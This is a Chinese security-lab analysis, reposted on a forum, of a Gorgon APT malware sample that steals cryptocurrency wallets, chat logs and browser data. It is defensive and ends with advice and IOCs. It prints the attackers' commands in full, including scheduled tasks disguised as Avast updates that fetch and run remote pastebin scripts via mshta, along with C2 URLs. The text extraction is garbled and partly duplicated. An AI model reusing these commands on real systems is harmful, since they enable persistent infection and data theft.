搜索

[14641] 2019-09-28_GorgonAPT黑客组织觊觎虚拟货币钱包

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2019-09-28_GorgonAPT黑客组织觊觎虚拟货币钱包 G o r g o n   A P T 黑 客 组 织 觊 觎 虚 拟 货 币 钱 包 千 里 目 安 全 实 验 室   F r e e B u f   2 0 1 9 - 0 9 - 2 8 背 景 背 景 G o r g o n   A P T 组 织 是 一 个 被 认 为 来 自 组 织 是 一 个 被 认 为 来 自 巴 基 斯 坦 的 攻 击 组 织 ， 该 组 织 在 的 攻 击 组 织 ， 该 组 织 在 2 0 1 8 年 年 8 月 份 由 月 份 由 P a l o   A l t o   U n i t 4 2 团 队 进 行 披 露 ， 主 要 针 对 全 球 外 贸 人 士 进 行 攻 击 。 除 此 之 外 ， 团 队 进 行 披 露 ， 主 要 针 对 全 球 外 贸 人 士 进 行 攻 击 。 除 此 之 外 ， 安 全 研 究 人 员 还 发 现 安 全 研 究 人 员 还 发 现 G o r g o n 针 对 英 国 、 西 班 牙 、 俄 罗 斯 、 美 国 等 政 府 目 标 发 起 了 攻 击 ， 算 是 针 对 英 国 、 西 班 牙 、 俄 罗 斯 、 美 国 等 政 府 目 标 发 起 了 攻 击 ， 算 是 A P T 组 织 的 后 起 之 秀 ， 最 近 一 年 非 常 活 跃 。 组 织 的 后 起 之 秀 ， 最 近 一 年 非 常 活 跃 。 近 日 ， 深 信 服 安 全 团 队 发 现 了 G o r g o n   A P T 组 织 最 新 变 种 样 本 ， 此 样 本 释 放 了 一 个 盗 取 受 害 者 虚 拟 币 钱 包 的 木 马 。 / 攻 击 流 程 图 / 样 本 分 析 样 本 分 析 1 . 样 本 中 包 含 恶 意 的 宏 代 码 ， 如 下 所 示 ： 2 . 通 过 动 态 调 试 ， 宏 代 码 调 用 m s h t a . e x e 执 行 m s h t a h t t p : / / b i t l y . c o m / 6 x d f s S X s h 6 ， 访 问 短 链 接 网 址 h t t p : / / b i t l y . c o m / 6 x d f s S X s h 6 , 如 下 所 示 ： 3 . 短 链 接 跳 转 到 网 站 ， 网 站 包 含 恶 意 脚 本 ， 如 下 所 示 ： h t t p s : / / s x a s x a s x s s a x x s a s x a s x . b l o g s p o t . c o m / p / d o n - b i g i . h t m l
4 . 解 密 里 面 的 恶 意 脚 本 ， 如 下 所 示 ： 5 . 调 用 m s h t a . e x e 执 行 m s h t a . e x e   h t t p : / / w w w . p a s t e b i n . c o m / r a w / U Z E b W M K 9 ， 访 问 h t t p : / / w w w . p a s t e b i n . c o m / r a w / U Z E b W M K 9 网 站 的 内 容 ， 如 下 所 示 ： 6 . 解 密 上 面 的 恶 意 脚 本 内 容 ， 如 下 所 示 ： 7 . 调 用 c m d . e x e 程 序 ， 执 行 如 下 命 令 ， 结 束 相 关 进 程 : 8 . 将 以 下 命 令 ， 写 入 自 启 动 注 册 表 项 ： 9 . 通 过 命 令 ， 创 建 两 个 计 划 任 务 启 动 项 A v a s t   U p d a t e r 和 A v a s t   b a c k u p ， 如 下 所 示 ： " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   / c   t a s k k i l l   / f   / i m   w i n w o r d . e x e   &   t a s k k i l l   / f   / i m   e x c e l . e x e   &   t a s k k i l l   / f   / i m   M S P U B . e x e   &   t a s k k i l l   / f   / i m   P O W E R P N T . E X E   &   e x i t m s h t a . e x e h t t p : / / p a s t e b i n . c o m / r a w / h J j Q u Q v 1 " C : W i n d o w s S y s t e m 3 2 s c h t a s k s . e x e "   / c r e a t e   / s c   M I N U T E   / m o   3 0   / t n   " A v a s t   U p d a t e r "   / t r   " m s h t a . e x e h t t p : / / p a s t e b i n . c o m / r a w / B r H 6 U F R c "   / F " C : W i n d o w s S y s t e m 3 2 s c h t a s k s . e x e "   / c r e a t e   / s c   M I N U T E   / m o   3 0 0   / t n   " A v a s t   b a c k u p "   / t r   " m s h t a . e x e h t t p : / / p a s t e b i n . c o m / r a w / n h c P 3 X g H "   / F
1 0 . 上 面 三 个 自 启 动 项 ， 分 别 执 行 三 个 不 同 的 脚 本 ， 如 下 所 示 ： h J j Q u Q v 1 脚 本 解 密 之 后 ， 如 下 所 示 ： B r H 6 U F R c 脚 本 解 密 之 后 ， 如 下 所 示 ： 再 次 解 密 脚 本 ， 如 下 所 示 ： 1 1 . 下 载 h t t p s : / / p a s t e b i n . c o m / r a w / d k r j W e c 2 脚 本 并 执 行 ， 脚 本 内 容 ， 如 下 所 示 ： 解 密 脚 本 之 后 ， 如 下 所 示 ： 1 2 . 解 密 之 后 替 换 里 面 的 字 符 串 ， 然 后 加 载 执 行 ， 如 下 所 示 ： 1 3 . 替 换 之 后 ， 是 一 个 P E 文 件 ， 如 下 所 示 ： " C : W i n d o w s S y s t e m 3 2 s c h t a s k s . e x e "   / c r e a t e   / s c   M I N U T E   / m o   3 0 0   / t n   " A v a s t   b a c k u p "   / t r   " m s h t a . e x e h t t p : / / p a s t e b i n . c o m / r a w / n h c P 3 X g H "   / F h t t p : / / p a s t e b i n . c o m / r a w / h J j Q u Q v 1 h t t p : / / p a s t e b i n . c o m / r a w / B r H 6 U F R c h t t p : / / p a s t e b i n . c o m / r a w / n h c P 3 X g H
1 4 . 通 过 查 看 这 个 P E 文 件 为 N E T 编 写 的 注 入 程 序 ， 如 下 所 示 ： 1 5 . 将 P E 程 序 注 入 到 c a l c . e x e 进 程 中 ， 下 载 h t t p s : / / p a s t e b i n . c o m / r a w / j 8 m R k e n 0 脚 本 内 容 ， 然 后 替 换 里 面 的 @ ! 并 执 行 ， 脚 本 内 容 ， 如 下 所 示 ： 1 6 . 解 密 脚 本 之 后 也 是 一 个 P E 文 件 ， 如 下 所 示 ：
1 7 . 把 这 个 解 密 出 来 的 P E 程 序 通 过 上 面 解 密 出 来 的 P E 注 入 程 序 ， 注 入 到 c a l c . e x e 进 程 中 ， 此 P E 程 序 ， 盗 取 受 害 者 虚 拟 钱 包 数 据 ， 例 如 比 特 币 ， 莱 特 币 等 ， 如 下 所 示 ： 1 8 . 盗 取 受 害 者 聊 天 工 具 记 录 ， 例 如 ： S k y p e 、 T e l e g r a m 等 ， 如 下 所 示 ： 1 9 . 屏 幕 截 图 操 作 ， 如 下 所 示 ：
2 0 . 获 取 受 害 者 主 机 相 关 信 息 ， 当 前 I P 地 址 或 区 域 信 息 以 及 磁 盘 文 件 名 等 ， 如 下 所 示 ： 2 1 . 盗 取 受 害 者 浏 览 器 历 史 记 录 信 息 等 ， 如 下 所 示 ： 2 2 . 远 程 服 务 器 U R L ： h t t p : / / 2 1 6 . 1 7 0 . 1 2 6 . 1 3 9 / P a n e l / 1 0 / i n d e x . p h p ， 捕 获 到 的 数 据 包 流 量 ， 如 下 所 示 ： 2 3 . n h c P 3 X g H 脚 本 解 密 之 后 ， 如 下 所 示 ：
安 全 建 议 ： 安 全 建 议 ： 不 管 攻 击 者 的 入 侵 计 划 是 多 么 的 缜 密 ， 总 会 由 于 技 术 的 限 制 留 下 些 许 蛛 丝 马 迹 ， 譬 如 软 件 的 植 入 、 网 络 流 量 的 产 生 ， 这 些 痕 迹 可 能 并 不 足 以 作 为 A P T 攻 击 的 证 据 ， 但 一 旦 发 现 ， 就 必 须 提 高 警 惕 ， 并 及 时 的 保 存 现 场 ， 通 知 安 全 相 关 人 员 ， 对 疑 似 感 染 的 主 机 进 行 隔 离 和 检 查 。 同 时 也 要 注 意 日 常 防 范 措 施 ， 在 思 想 上 和 技 术 上 双 管 齐 下 ： 1 、 加 强 人 员 安 全 防 范 意 识 。 不 要 打 开 来 历 不 明 的 邮 件 附 件 ， 对 于 邮 件 附 件 中 的 文 件 要 谨 慎 运 行 ， 如 发 现 脚 本 或 其 他 可 执 行 文 件 可 先 使 用 杀 毒 软 件 进 行 扫 描 ； 2 、 升 级 o f f i c e 系 列 软 件 到 最 新 版 本 ， 不 要 随 意 运 行 不 可 信 文 档 中 的 宏 ； 3 、 部 署 分 层 控 制 ， 实 现 深 度 网 络 安 全 防 御 ， 构 建 端 到 端 的 立 体 安 全 防 护 网 络 。 在 网 络 规 划 时 需 要 充 分 考 虑 终 端 接 入 安 全 、 内 网 安 全 防 护 、 应 用 系 统 安 全 等 多 个 维 度 ， 并 根 据 不 同 的 业 务 需 求 和 安 全 等 级 进 行 合 理 的 分 区 隔 离 ； 4 、 重 视 网 络 数 据 、 系 统 运 行 状 态 的 审 计 和 分 析 。 严 格 把 控 系 统 的 访 问 权 限 ， 持 续 对 数 据 流 的 进 出 进 行 有 效 的 监 控 ， 及 时 更 新 安 全 补 丁 ， 定 时 进 行 安 全 配 置 基 线 的 审 视 和 系 统 安 全 风 险 的 评 估 ， 及 时 发 现 可 以 行 为 并 通 过 通 信 线 路 加 密 、 应 用 层 安 全 扫 描 与 防 护 、 隔 离 等 有 效 技 术 手 段 将 可 能 的 安 全 风 险 扼 杀 在 摇 篮 里 。 I O C s M D 5 : A 1 3 7 1 8 5 1 7 1 B 1 1 7 6 F C 1 2 5 A 7 4 2 5 0 9 2 8 9 3 3 A 5 D E 9 1 F 7 3 A 5 E 7 5 A A 7 E 3 3 9 5 4 F D 0 A D D A 1 3 E 0 C E 8 A 8 6 F 8 5 C 5 0 6 5 9 1 B E 8 8 9 7 C 0 7 F B 6 2 6 U R L ： ： h t t p : / / b i t l y . c o m / 6 x d f s S X s h 6 h t t p s : / / s x a s x a s x s s a x x s a s x a s x . b l o g s p o t . c o m / p / d o n - b i g i . h t m l h t t p : / / w w w . p a s t e b i n . c o m / r a w / U Z E b W M K 9 h t t p : / / p a s t e b i n . c o m / r a w / h J j Q u Q v 1 h t t p : / / p a s t e b i n . c o m / r a w / B r H 6 U F R c h t t p : / / p a s t e b i n . c o m / r a w / n h c P 3 X g H h t t p : / / 2 1 6 . 1 7 0 . 1 2 6 . 1 3 9 / P a n e l / 1 0 / i n d e x . p h p I P   ： ： 2 1 6 . 1 7 0 . 1 2 6 . 1 3 9 * 本 文 作 者 ： 本 文 作 者 ： 深 信 服 千 里 目 安 全 实 验 室 ， 转 载 请 注 明 来 自 深 信 服 千 里 目 安 全 实 验 室 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理